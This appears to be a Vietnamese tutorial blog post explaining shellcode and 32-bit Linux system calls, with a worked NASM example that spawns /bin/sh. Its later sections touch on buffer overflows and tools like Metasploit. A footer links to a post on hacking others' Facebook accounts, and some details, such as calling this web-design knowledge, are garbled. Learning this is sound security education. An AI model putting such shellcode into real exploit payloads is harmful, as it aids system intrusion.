Shellcode là gì? Hướng dẫn các bước tạo Shellcode đơn giản nhất
Trong lĩnh vực an ninh máy tính, Shellcode là một thuật ngữ quan trọng mà nhiều người chưa được tìm hiểu. Nó thường xuất hiện trong các cuộc tấn công bảo mật máy tính và đóng một vai trò quan trọng trong việc gây thiệt hại cho các hệ thống. Trong bài viết này, Trust Media sẽ giúp bạn khám phá khái niệm Shellcode và những tính năng quan trọng của nó.
Shellcode là gì?
Shellcode là một khái niệm quan trọng trong lĩnh vực an ninh máy tính. Nó là một đoạn mã máy tính được viết bằng ngôn ngữ Assembly và thường được sử dụng trong các cuộc tấn công máy tính. Shellcode thường được chèn vào một chương trình hoặc tập tin khác để thực hiện các hành động độc hại trên máy tính của người dùng mà họ không nhận biết hoặc không đồng ý.
Khi một chương trình hoặc tập tin chứa Shellcode được thực thi, nó sẽ thực hiện các hành động mà Shellcode đại diện. Những hành động này có thể rất đa dạng, bao gồm việc tấn công hệ thống, gây thiệt hại, chiếm quyền quản trị hoặc lấy quyền truy cập vào máy tính của người dùng.
Shellcode có thể được tạo ra từ các ngôn ngữ lập trình khác nhau, thường thông qua việc biên dịch và biên dịch ngược mã nguồn gốc. Các hacker sử dụng nó để tạo ra các lỗ hổng bảo mật trong hệ thống và thực hiện các cuộc tấn công mục tiêu. Bạn xem thêm một số trang web học lập trình miễn phí để biết thêm về các thông tin và kiến thức này.
Điều quan trọng là Shellcode có thể được thiết kế để thực hiện các chức năng độc hại một cách hiệu quả và không bị phát hiện, làm cho nó trở thành một công cụ quan trọng trong tay các hacker.
Các bước để tạo ra Shellcode đơn giản và dễ dàng nhất
Trên thực tế, để có thể thao tác được với các chức năng thì chúng ta cần thực hiện truyền đối số vào trong các thanh ghi. Đối với System call cũng thế nhưng sẽ có một số điều quan trọng cần đặc biệt lưu ý. Hầu hết các hệ thống đều có nét giống nha nhưng ở đây Trust Media sẽ nói về hệ điều hành 32 bits.
Cách thực hiện một cuộc gọi hệ thống (system call) đòi hỏi một số bước cụ thể, bao gồm:
Xác định số lệnh system call (NR)
- Mỗi lệnh system call sẽ có một số xác định riêng gọi là “system call number” (NR). Ví dụ: exit() có NR là 0x01, read() có NR là 0x03, và execve() có NR là 0x0b.
- Trước khi thực hiện system call, bạn cần biết NR của lệnh mà bạn muốn gọi và sau đó lưu giá trị này vào thanh ghi eax (đối với hệ thống 32 bits).
Truyền các đối số của system call
- Các đối số cần thiết cho lệnh system call sẽ được lưu vào các thanh ghi khác nhau. Cụ thể, các đối số này sẽ được lưu vào các thanh ghi như ebx, ecx, edx, esi, edi, ebp (đối với hệ thống 32 bits). Điều này tùy thuộc vào lệnh system call cụ thể mà bạn đang thực hiện.
Thực hiện lệnh int 0x80
- Để chuyển từ chế độ CPU sang chế độ Kernel (nơi system call được xử lý), bạn sẽ sử dụng lệnh
int 0x80
. Điều này làm cho CPU chuyển đổi từ chế độ người dùng sang chế độ Kernel để thực hiện lệnh system call.
Chuyển CPU sang chế độ Kernel
- Sau khi lệnh
int 0x80
được thực hiện, CPU chuyển từ chế độ người dùng sang chế độ Kernel, nơi lệnh system call được xử lý.
Thực thi system call
Cuối cùng, system call được thực hiện bởi hệ thống và kết quả của nó được trả về cho chương trình người dùng.
Bạn cần nhớ rằng cách thực hiện system call có thể thay đổi tùy thuộc vào kiến trúc hệ thống và hệ điều hành cụ thể mà bạn đang sử dụng.
Dưới đây là phiên bản được biên tập lại của hướng dẫn viết shellcode đơn giản:
Hướng dẫn cách viết Shellcode đơn giản nhất
Trong thiết kế trang web thì shellcode là một kiến thức bạn cần biết để thực hiện lệnh execve("/bin/sh")
. Điều này sẽ khởi chạy một shell cho chúng ta. Trước hết, chúng ta sẽ viết một chương trình C đơn giản như sau:
execve.c
#include <stdio.h>
int main() {
execve("/bin/sh", NULL, NULL);
return 0;
}
Sau đó, chúng ta biên dịch chương trình này bằng gcc:
gcc -m32 execve.c -o execve
Tiếp theo, chúng ta sẽ viết shellcode bằng ngôn ngữ Assembly. Dưới đây là mã nguồn shell.asm
:
shell.asm
section .text
global _start
_start:
jmp short GotoCall
shellcode:
pop esi
xor eax, eax
mov byte [esi+7], al
mov byte al, 0x0b
mov ebx, esi
int 0x80
GotoCall:
call shellcode
db “/bin/shJ”
Trong mã shellcode này, chúng ta đã tối ưu hóa nó như sau:
- Hạn chế sự xuất hiện của
\x00
(NULL): Thay vì sử dụng lệnhmov eax, 0
(điều này tạo ra\x00
), chúng ta sử dụngxor eax, eax
để đặteax
thành0
mà không tạo ra NULL byte. - Đa dạng khả năng thực thi shellcode trên nhiều thiết bị: Chúng ta sử dụng một trick nhỏ bằng cách lưu chuỗi
"/bin/shJ"
vào stack và lấy địa chỉ này bằngpop esi
. Sau đó, chúng ta thay đổi byte thứ 7 của chuỗi thành NULL bằng lệnhmov byte [esi+7], al
, và sau đó gọiexecve
với các đối số đã thiết lập.
Tiếp theo, chúng ta sử dụng NASM để tạo file đối tượng:
nasm -f elf shell.asm
Sau đó, chúng ta sử dụng GNU linker để liên kết file đối tượng:
ld -m elf_i386 -o shell shell.o
Cuối cùng, chúng ta có thể lấy các opcodes từ trong file shell bằng objdump
.
objdump -d shell
Như vậy, chúng ta đã tạo thành công một shellcode và kiểm tra nó để khởi chạy một shell.
Phát hiện chương trình có lỗ hổng
Sau khi chúng ta đã hiểu về shellcode và các khái niệm liên quan, việc tìm kiếm các chương trình có lỗ hổng để tiêm shellcode vào không phải lúc nào cũng dễ dàng. Một phương pháp là thông qua việc phân tích ngược một chương trình, làm mờ nó và thử nghiệm để tìm ra một chương trình mục tiêu xử lý sai các trường hợp biên của dữ liệu đầu vào.
Trong một số trường hợp, khi chương trình xử lý dữ liệu đầu vào sai cách, điều này có thể được tận dụng để làm thay đổi luồng thực thi của chương trình, gây sự cố hoặc cho phép chúng ta thực hiện các lệnh mà shellcode cung cấp. Một lỗi lập trình phổ biến thường có thể được sử dụng để đạt được điều này là lỗi tràn bộ đệm (buffer overflow).
Công cụ Shellcode và Exploitation
Việc viết shellcode là một nhiệm vụ đòi hỏi các kỹ năng cụ thể và do đó, các hacker thường sử dụng nhiều công cụ để hỗ trợ họ trong quá trình này. Có sẵn các bộ công cụ sau khi tấn công như Metasploit và PowerSploit, chúng cung cấp các tính năng như bộ mã hóa để tạo shellcode tuân thủ, các công cụ để tạo payloads và chức năng để chèn shellcode trực tiếp vào các quy trình.
Trên các hệ thống Linux và macOS, thậm chí một bộ công cụ sau khi tấn công đơn giản như Bashark cũng cung cấp khả năng thực thi shellcode.
Bạn có thể dễ dàng tìm thấy các ví dụ về shellcode đã được tạo sẵn trên internet, bao gồm cả trong các tài nguyên dành cho các penetration tester và red teamer như Exploit Database. Tuy nhiên, các cuộc tấn công thực tế thường yêu cầu mức độ tùy chỉnh để đảm bảo shellcode phù hợp với chương trình mục tiêu, môi trường thực thi và mục đích của hacker.
Để tránh bị tấn công và rò rỉ dữ liệu cá nhân, bạn cần thận trọng trong quá trình viết mã. Bạn nên kiểm tra và xem xét một cách cẩn thận trước khi gán biến và khai báo giá trị cho mã của mình.Trust Media hi vọng rằng bạn đã hiểu khái niệm về shellcode và cách tăng cường bảo mật cho dữ liệu cá nhân của mình.
- Cách hack nick Facebook người khác cập nhật mới nhất 2024 - 3 Tháng Một, 2024
- Mua lượt xem trên Facebook có những lợi ích gì? - 10 Tháng Mười Hai, 2023
- Digital native là gì? Ý nghĩa của Digital native trong kinh doanh - 6 Tháng Mười Hai, 2023